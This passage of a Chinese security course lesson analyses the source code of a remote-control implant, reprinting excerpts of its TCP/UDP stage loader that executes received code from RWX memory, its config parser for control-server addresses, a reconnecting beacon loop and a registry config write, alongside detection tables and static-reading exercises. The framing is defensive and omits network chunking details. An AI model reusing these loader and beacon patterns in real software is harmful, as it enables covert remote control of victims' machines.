从防御角度看,最重要的不是具体接收多少字节,而是这条行为链:

socket/connect/send/recv
  -> recv 数据进入私有内存
  -> 目标内存具备执行权限
  -> 函数指针从这块内存产生
  -> 配置字符串作为参数传给返回的函数入口
1
2
3
4
5

# 10.2 UDP 分支

UDP 分支和 TCP 分支目标相同:取回后续代码块并转交控制流。不同点在于 UDP 需要自己处理分片、序号和重组。

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:504-636
void myudp(func_t* func, int i)
{
    ADDRINFOA* ip = NULL;

    // 防御分析:UDP 分支同样为最终代码块申请 RWX 内存。
    func->buff = (CHAR*)func->VirtualAlloc(
        0,
        512 * 1024,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    if (!func->buff)
        return;

#ifdef _WIN64
    BYTE pe = '2'; // 防御分析:x64 UDP 标识。
#else
    BYTE pe = '1'; // 防御分析:x86 UDP 标识。
#endif

    int bao = 0;       // 防御分析:当前分片序号。
    int times = 0;     // 防御分析:预计分片数量。
    int alldata = 0;   // 防御分析:服务端告知的总长度。
    int bok = 0;       // 防御分析:重组完成标记。
    char* recvdbuf = NULL;

    // 安全化节选:省略可直接复用的高风险网络连接与分片细节,
    // 仅保留防御分析所需的数据流边界。
    // 防御分析重点:每个小包被复制到 func->buff + 分片偏移,最终组装成完整代码块。

    if (bok == 1)
    {
        // 防御分析:当分片重组完成后,UDP 分支也会把缓冲区当代码入口调用。
        typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
        CODE fn = ((CODE(*)()) func->buff)();
        fn(func->confi);
        do {} while (1);
    }

endudp:
    if (ip)
        func->freeaddrinfo(ip);
    if (func->m_socket != INVALID_SOCKET)
        func->closesocket(func->m_socket);
    if (recvdbuf)
        func->VirtualFree(recvdbuf, 0, MEM_RELEASE);
    if (func->buff)
        func->VirtualFree(func->buff, 0, MEM_RELEASE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

UDP 分支对企业检测有一个额外提示:如果网络侧看到连续小包、包内有架构标识和序号字段、主机侧同进程又出现 RWX 内存和间接调用,这些证据要关联起来看。

10.2 UDP 分支(配图)

# 11. 上线模块如何被 shellcode 接住

前面 mytcp / myudp 最后都会执行这一类逻辑:

typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);
1
2
3

对新手来说,这两行很绕。可以分成两步理解:

  1. func->buff 里放的是后续取回的代码块,不是普通字符串。
  2. 先把 func->buff 当入口执行,得到一个 CODE 函数指针;再把 func->confi 配置传给这个函数。

在上线模块里,对应入口就是 load(TCHAR* code)。它接收配置字符串,复制到全局配置区,调用 Analyze() 解析,再创建 MainThread

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:400-408
extern "C" __declspec(dllexport) void load(TCHAR* code)   // shellcode 使用加载 load
{
    if (hThread)
        return;

    // 防御分析:shellcode 传入的 code 就是前面 func.confi 指向的完整配置字符串。
    // 这里复制到上线模块自己的全局配置缓冲区。
    memcpy(confi, code, lstrlen(code) * 2 + 2);

    // 防御分析:解析 p1/o1/t1、p2/o2/t2、dd/cl/fz/bb/bz 等字段。
    Analyze();

    // 防御分析:创建上线主线程。企业侧应关注动态加载后立即创建线程和发起连接。
    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Analyze 负责把配置字段读进 MyInfo。这一步解释了为什么前面主控要拼完整配置字符串。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-154
void Analyze()
{
#ifndef _DEBUG
    static bool isrun = false;
    if (isrun)
        return;
    else
        isrun = true;

    // 防御分析:源码先反转配置字符串,再按字段标记查找。
    _tcsrev(confi);
    ZeroMemory(&MyInfo, sizeof(Info));

    Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
    Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
    Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));

    Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
    Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
    Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));

    Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
    Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
    Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));

    Getfindinfo(confi, _T("dd:"), MyInfo.szRunSleep, NULL); // 启动后等待时间。
    Getfindinfo(confi, _T("cl:"), MyInfo.szHeart, NULL);    // 重连/心跳间隔。
    Getfindinfo(confi, _T("fz:"), MyInfo.szGroup, NULL);    // 分组。
    Getfindinfo(confi, _T("bb:"), MyInfo.szVersion, NULL);  // 版本。
    Getfindinfo(confi, _T("bz:"), MyInfo.Remark, NULL);     // 备注。
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

MainThread 是上线模块真正进入连接循环的地方。它不是执行文件管理、屏幕、键盘等具体功能,而是建立连接、发送版本标识、启动后续管理对象。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-252
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    // 防御分析:启动延迟来自配置字段 dd。
    Sleep(_ttoi(MyInfo.szRunSleep) * 1000);

    ISocketBase* socketClient = NULL;
    void* ptcp = new CTcpSocket;
    void* pudp = new CUdpSocket;

    while (TRUE)
    {
        // 防御分析:第一组和第二组地址轮换,失败后继续尝试。
        if (!changeip)
        {
            _tcscpy_s(szAddress, MyInfo.szAddress);
            _tcscpy_s(szPort, MyInfo.szPort);
            IsTcp = MyInfo.IsTcp;
            changeip = (!changeip);
        }
        else
        {
            _tcscpy_s(szAddress, MyInfo.szAddress2);
            _tcscpy_s(szPort, MyInfo.szPort2);
            IsTcp = MyInfo.IsTcp2;
            changeip = (!changeip);
        }

        if (socketClient)
            socketClient->Disconnect();

        socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
        Sleep(_ttoi(MyInfo.szHeart) * 1000);

        if (!socketClient->Connect(szAddress, _ttoi(szPort)))
            continue;

        // 防御分析:连接成功后创建 KernelManager,并发送版本令牌。
        CKernelManager manager(socketClient, MyInfo.otherset.puppet);
        BYTE Token[2] = {};
        Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
        Token[1] = 1;
#else
        Token[1] = 0;
#endif

        socketClient->Send(Token, 2);
        socketClient->run_event_loop();
        WaitForSingleObject(manager.hWorker, INFINITE);
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

11. 上线模块如何被 shellcode 接住(配图)

# 12. 上线后如何继续加载登录模块

上线模块连接成功后,会进入 CKernelManager。这里与第 13、14 课讲过的插件加载链路相接。Release 分支里有一行注释非常关键:它说明后续模块也可能用 shellcode 方式调用 DLL 的 DllMain 或导出函数。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:20-33
unsigned int __stdcall Loop_DllManager(void* pVoid)   // 加载就运行无需参数
{
    CKernelManager* pThis = (CKernelManager*)pVoid;
    DWORD dwOffset = -1;

    // 防御分析:在登录模块数据中寻找 "denglupeizhi" 标记,
    // 然后用当前上线模块的 MyInfo 覆盖登录模块配置。
    // 这说明上线配置会继续传递到登录模块。
    dwOffset = memfind((char*)g_loginDllData, "denglupeizhi", g_dllSendData.DataSize, 0);
    if (dwOffset != -1)
        memcpy((char*)g_loginDllData + dwOffset, (char*)&MyInfo, sizeof(Info));

    // 防御分析:配置还会写入注册表。企业侧可把内存加载行为和注册表写入关联。
    HKEY hKey;
    ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE"), 0, KEY_WOW64_64KEY | KEY_SET_VALUE, &hKey);
    ::RegDeleteValue(hKey, _T("IpDates_info"));
    ::RegSetValueEx(hKey, _T("IpDates_info"), 0, REG_BINARY, (unsigned char*)&MyInfo, sizeof(Info));
    ::RegCloseKey(hKey);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

Release 分支如下。

// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:88-94
#else
    // 防御分析:源码注释明确说明,release 版本使用 shellcode 方法调用各模块。
    // g_loginDllData 指向的是登录模块数据,后续控制流会交给该数据区返回的入口。
    // 这里属于高风险动态执行链,本课只解释防御识别,不提供运行步骤。
    load lpproc = ((load(*)())g_loginDllData)();
#endif
1
2
3
4
5
6
7

这说明第 18 课不是孤立模块。它是后续登录模块、插件加载、内存加载链路的底层支撑之一。

# 13. x86 / x64 专门对照

对照项 x86 x64 防御分析
指针宽度 4 字节 8 字节 结构体偏移、函数指针和缓冲区解析不能混用
PEB 访问 FS:[0x30] GS:[0x60] 源码中出现这些访问常与自举解析相关
当前代码位置 geteip32() 直接使用 ntdll_entry x86 需要额外取 EIP,x64 分支更直接
TCP 架构标识 "32" "64" 网络侧可作为架构协商特征之一
UDP 架构标识 '1' '2' UDP 分片流里会携带不同标识
输出路径 Plugins\x86\执行代码.dll Plugins\x64\执行代码.dll 构建和生成阶段会出现双架构产物
WoW64 场景 32 位进程运行在 64 位系统上 原生 64 位进程 不能只按操作系统位数判断,应看进程架构和载荷架构

13. x86 / x64 专门对照(配图)

# 14. 从源码到检测:企业侧怎么关联证据

本课对应的检测不是单点规则,而是多层证据关联。

层面 关注点 典型证据
源码侧 PostBuildEventVirtualAlloc(PAGE_EXECUTE_READWRITE)、PEB 遍历、EAT 遍历、函数指针调用 工程文件、源码扫描、代码评审记录
构建侧 构建后执行 执行代码.exe,写出 执行代码.dll,再被主控读取拼接 CI 日志、构建产物哈希、产物目录变化
文件侧 同时生成 _86.bin_64.bin,文件内容包含 codemark 和配置结构 文件落地日志、哈希、YARA 静态特征
内存侧 私有内存 RWX、网络数据写入可执行内存、线程/函数入口不在正常模块中 EDR、内存取证、VAD、线程起始地址
网络侧 连接后发送架构标识,随后接收较大二进制数据或 UDP 分片重组 NetFlow、代理日志、主机网络事件
行为侧 动态加载后立即发起连接、发送 TOKEN_GETVERSION、继续加载登录模块 主机事件、网络包、应用日志关联

14. 从源码到检测:企业侧怎么关联证据(配图)

可以把完整检测逻辑写成下面的关联链:

构建日志出现 PostBuildEvent 执行
  -> 生成执行代码.dll / shellcode bin
  -> 主控读取该文件并追加 codemark 配置
  -> 运行期出现 RWX 内存和网络 recv 写入
  -> 私有内存入口被调用
  -> 上线模块 load 解析配置并创建 MainThread
  -> 网络侧出现版本协商和后续插件加载
1
2
3
4
5
6
7

# 15. 常见误区

误区 正确理解
执行代码.dll 就是普通 DLL 这里重点是被写出的代码区间,不能只按普通 DLL 加载理解
codemark 是配置内容 codemark 是定位锚点,后面才是结构体、地址和完整配置
只要看到 VirtualAlloc 就一定有问题 单独 VirtualAlloc 不够,需要关联 RWX、写入和间接执行
x86 / x64 只影响编译选项 它还影响 PEB 偏移、指针宽度、函数指针大小、网络架构标识和后续模块选择
TCP/UDP 只是通信方式不同 对检测来说,TCP 更像连续流,UDP 需要关注分片、序号和重组完成后的动态执行

# 16. 合法练习题

  1. 只做静态阅读:在 ShellCode_main.cpp 中标出 ntdll_entrymytcpmyudpget_kernel32_base_tmain 的位置,并说明它们在生命周期中的角色。
  2. 不运行任何产物:根据 BuildDlg.cpp:1449-1512 画出 代码区 + ShellCodeInfo + addr1 + addr2 + confi 的内存布局。
  3. 不联网、不生成载荷:解释为什么 PAGE_EXECUTE_READWRITE + recv + 函数指针调用 比单独的网络连接风险更高。
  4. 对比 x86/x64:说明为什么 32 位 shellcode 不能直接拿到 64 位进程里运行。
  5. 写一条企业检测思路:把构建后事件、双架构产物、RWX 内存、网络取数和 TOKEN_GETVERSION 关联成一条告警链。

# 17. 本课小结

第 18 课把被控 shellcode 的生命周期串起来了:shellcode.vcxproj 先构建出 执行代码.exe,构建后事件运行它;_tmain 截取 ntdll_entryntdll_end 的代码区间;主控再把 ShellCodeInfo、地址和完整配置拼到代码后面;运行期入口通过 PEB/EAT 自解析 API,扫描 codemark 找配置,再通过 TCP/UDP 取回后续代码块;最后把配置传给上线模块的 load(TCHAR* code),由 MainThread 接入后续连接和登录模块加载链。

对企业安全工程来说,这一课的重点不是复现运行,而是能把源码中的高风险实现翻译成可检测、可审计的证据链:构建后执行、动态 API 解析、RWX 内存、网络数据转代码执行、配置传递和上线线程创建。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>